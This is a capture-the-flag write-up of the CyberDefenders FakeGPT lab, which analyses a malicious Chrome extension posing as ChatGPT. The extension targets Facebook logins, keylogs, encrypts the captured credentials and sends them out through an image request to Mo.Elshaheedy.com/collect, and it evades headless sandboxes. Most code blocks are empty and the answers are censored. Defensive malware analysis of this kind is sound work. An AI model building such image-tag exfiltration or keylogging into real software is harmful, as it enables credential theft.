Analyze a malicious Chrome extension’s code and behavior to identify data theft mechanisms, covert exfiltration via
<img>tags, and anti-analysis techniques.
Introduction
It’s the last day of 2025. No better way to celebrate than to publish a write-up of a year old lab. Specifically the FakeGPT Lab over on CyberDefenders.
As we can see from the introductionary text we will be analyzing a malicious chrome extension. We get a quick peek into how data is exfiltrated via <img> tags, and there’s a hint into some evasion/anti-analysis techniques we’ll be looking into.
We’re given six files for this lab;
├── Lab
│ ├── app.js
│ ├── crypto.js
│ ├── img.GIF
│ ├── loader.js
│ ├── manifest.json
│ └── ui.html
I’ll touch on these files as they come up in the questions.
Question one
Which encoding method does the browser extension use to obscure target URLs, making them more difficult to detect during analysis?
To find the anser we need to analyze app.js. This is a pretty common name for JavaScript applications and extensions for Chrome written in .js.
For this question we are looking for a common encoding method:
|
|
You should recognize the encoding method used based on the padding characters on the highlighted line. It’s a very common encoding scheme!
We’ll look at the value of that encoded text in the next question.
Question two
Which website does the extension monitor for data theft, targeting user accounts to steal sensitive information?
In the above question we uncovered the encoded target list:
|
|
We can decode this in a few ways. CyberChef is a very useful little tool that I’ve used at work many times to decode common encoding methods, defang a list of IP addresses/URLs, and plenty more. I’d definitely recommend looking into it (and self-hosting it!) if you find that sort of thing useful!
Another tool we can use is built in to many Linux distros. I won’t be sharing the exact command because it gives away the encoding method, but it’s a very useful command. Just make sure you use the -d option (For decode)
echo "d3d3LmZhY2Vib29rLmNvbQ==" | ****** -d
Entering the above command will give us the plaintext URL of the website that this malware targets. It’s a pretty common one.
Question three
Which type of HTML element is utilized by the extension to send stolen data?
This answer isn’t even hinted at in the Lab description/introduction - It’s just given to us.
While that is a cheap and quick way of getting the answer, let’s consider the scenario where this hint is not given to us. We can continue looking at the app.js file to understand how the malware works, and more importantly how data is exfiltrated.
|
|
The section above is the segment we focused on in Question One. The highlighted line shows an interesting method - exfiltrateCredentials:
|
|
This function takes in the username and password credentials which is captured in that initial segment. It then creates a payload with the username, password, and the site it was taken from (the answer to question two). These three parameters are contained in the payload variable. This variable is encrypted with JSON.stringify. Finally the sendToServer method is called and passes in that fresh new encryptedPayload variable.
|
|
This is the final function we need to analyze for this question. The function takes in the encryptedPayload variable as the encryptedData. It then creates an empty Image and sets the source of that image to https://Mo.Elshaheedy.com/collect?data=' + encodeURIComponent(encryptedData). Remember that the encryptedData is a JSON string that contains the username, password, and window.location.hostname of the site where the credentials were captured.
I took a look at the Mo.Elshaheedy.com site and found it was a dead link. Same with Elshaheedy.com. However this doesn’t really matter. The source of the image is just a way to include the captured credentials in the Image object. The source could be something like 'https://www.google.com/search?q=' + encodeURIComponent(encryptedData) and still perform the same.
That’s a bit of an over explanation, but the answer for what HTML element should be pretty clear by the final sendToServer function. Specifically the return/output filetype.
Question four
What is the first specific condition in the code that triggers the extension to deactivate itself?
We are done with app.js for now. There’s no function names that have anything to do with detecting a sandbox environment and all the logic is focused around the process of capturing and exfiltrating data.
Virtualization/Sandbox Evasion is a neat technique that malware can use to avoid exposing how it works when analyzed.
Checks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. Once executed, malware may also use File and Directory Discovery to check if it was saved in a folder or file with unexpected or even analysis-related naming artifacts such as malware, sample, or hash.
We can look into the loader.js file to find our answer:
|
|
The highlighted section above is nicely commented to let us know what is happening. Let’s take a closer look at each part of these checks:
|
|
navigator.plugins lists browser plugins. Plugins are different to extensions like Adblock or darkmode as they relate more to the functions of a browser. PDF Viewers or plugins related to media players are installed on almost all modern browsers. This array will almost always return a length of 1 or more on a standard browser. This array may be empty on something like a headless browser that is used by bots, or in our case by malware analysis tools.
The next part (Separated by ||, an OR ) checks for the user-agent string containing the text ‘HeadlessChrome’. Combined together this means that if there are no browser plugins OR ‘HeadlessChrome’ is somewhere in the user-agent the malware will not run.
Those are some pretty basic checks. You could make sure that the navigator.plugins array has at least one entry, and your user-agent is something generic rather than containing HeadlessChrome’ to bypass the evasion. It’s still something!
The answer for this question is in the format *********.*******.****** === * which should give the answer away.
Question five
Which event does the extension capture to track user input submitted through forms?
We can go back to app.js for this answer. We need to see what js event the extension looks for before running any logic. If you’re not too familiar with JavaScript then this is something you’ll learn very early on. EventListeners are very useful and will listen for events before running the logic. Back in app.js we can see this before all of the logic:
|
|
The censored out event is the answer.
Question six
Which API or method does the extension use to capture and monitor user keystrokes?
Just over halfway done with the challenge! It’s been pretty fun so far.
This question can be answered pretty quickly and follows along nicely from Question Five. An EventListener for every single keystroke is some pretty intense keylogging:
|
|
Every single keystroke is sent off to the exfiltrateData function which would result in a lot of noise. The answer is the censored out event, but it’s interesting that every single keystroke is sent one at a time rather than being added to an array and being sent in larger, but less frequent packets.
Question seven
What is the domain where the extension transmits the exfiltrated data?
We actually looked at this earlier. I won’t repeat myself, I hope you were paying attention!
Question eight
Which function in the code is used to exfiltrate user credentials, including the username and password?
Another nice short question. This is the same function that we looked at in depth earlier. We’re still on app.js here.
Question nine
Which encryption algorithm is applied to secure the data before sending?
We skipped over this function earlier - encryptPayload. This takes the keylogged data and encrypts it:
|
|
Once again I’ve censored the answer out. The encryption algorithm in question is very common. Even if this is your very first CTF Lab it’s likely you’ve heard the name of the algorithm.
Question ten
What does the extension access to store or manipulate session-related data and authentication information?
The hint for this question is;
Analyze the manifest.json file to identify permissions requested by the extension.
We haven’t even looked at manifest.json yet so it’s a good time!
|
|
I’ve censored the answer out but take a look at what the extension is claiming to be - A ChatGPT extension. This finally ties back to the name of the lab FakeGPT.
That’s our final answer!
Conclusion
While going through this lab I was confused about the name all the way up to the final question. Admittedly I could have looked at the manifest.json a lot sooner to learn this, but it was a nice reveal at the end. I really enjoyed this write-up, hope you did too!